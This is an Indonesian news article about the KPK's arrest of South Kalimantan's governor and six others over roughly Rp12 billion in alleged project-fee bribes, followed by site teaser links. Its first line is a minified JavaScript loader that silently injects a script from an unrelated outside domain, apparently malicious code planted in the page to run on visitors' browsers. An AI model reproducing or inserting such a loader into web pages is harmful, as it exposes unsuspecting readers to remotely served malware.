(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Tim satgas Komisi Pemberantasan Korupsi (KPK) mengamankan uang miliaran rupiah dan pecahan dolar Amerika Serikat (AS) saat operasi tangkap tangan (OTT) di Kalimantan Selatan (Kalsel).
Tujuh orang yang ditetapkan sebagai tersangka oleh KPK yakni Gubernur Kalsel Sahbirin Noor (SHB), Kadis PUPR Kalsel Ahmad Solhan (SOL), Kabid Cipta Karya sekaligus PPK Yulianti Erlynah (YUL), pengepul uang Ahmad (AMD), Plt Kepala Bagian Rumah Tangga Gubernur Kalsel Agustya Febry Andrean (FEB), pihak swasta Sugeng Wahyudi (YUD), pihak swasta Andi Susanto (AND).
Baca juga: Gubernur Kalsel Disebut Terima Uang Komitmen Fee dari Tiga Proyek PUPR
“Bahwa terhadap sejumlah uang lainnya yang ditemukan oleh penyelidik KPK pada YUL, FEB, dan AMD dengan total sekitar Rp12 miliar (Rp12.113.160.000) dan US$ 500,” kata Wakil Ketua KPK, Nurul Ghufron saat konferensi pers di gedung KPK, Jakarta, Selasa (8/10/2024) siang.
Uang tersebut diamankan dari sejumlah pihak mulai dari Ahmad (AMD), Yulianti (YUL), dan Agustya Febry Andrean (FEB). Salah satunya yakni kardus warna kuning bertuliskan dan foto Paman Birin yang isinya mencapai ratusan juta rupiah, diamankan dari Ahmad (AMD).
“Bahwa terhadap sejumlah uang lainnya yang ditemukan oleh penyelidik KPK pada YUL, FEB, dan AMD dengan total sekitar Rp12 miliar (Rp12.113.160.000) dan US$ 500,”.
Baca juga: Terpidana Korupsi Mantan Bupati HST Abdul Latif Ajukan PK
“Satu buah kardus kuning dengan foto wajah Paman Birin berisikan uang Rp800 juta,” ungkap Ghufron.
Disebutkan Ghufron, ada satu kardus cokelat berisi uang Rp1 miliar. Uang tersebut merupakan fee 5% untuk Sahbirin (SHB) dari Sugeng Wahyudi (YUD) dan Andi Susanto (AND) terkait pekerjaan yang mereka dapatkan yaitu pembangunan kolam renang kawasan olahraga terpadu, dan pembangunan gedung Samsat.
Sedangkan uang Rp12 miliar serta US$ 500 merupakan bagian dari fee 5% untuk Sahbirin (SHB) terkait pekerjaan lainnya di Dinas PUPR Kalsel. (Beritasatu.com/Kanalkalimantan.com/kk)
Editor: kk
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
This website uses cookies.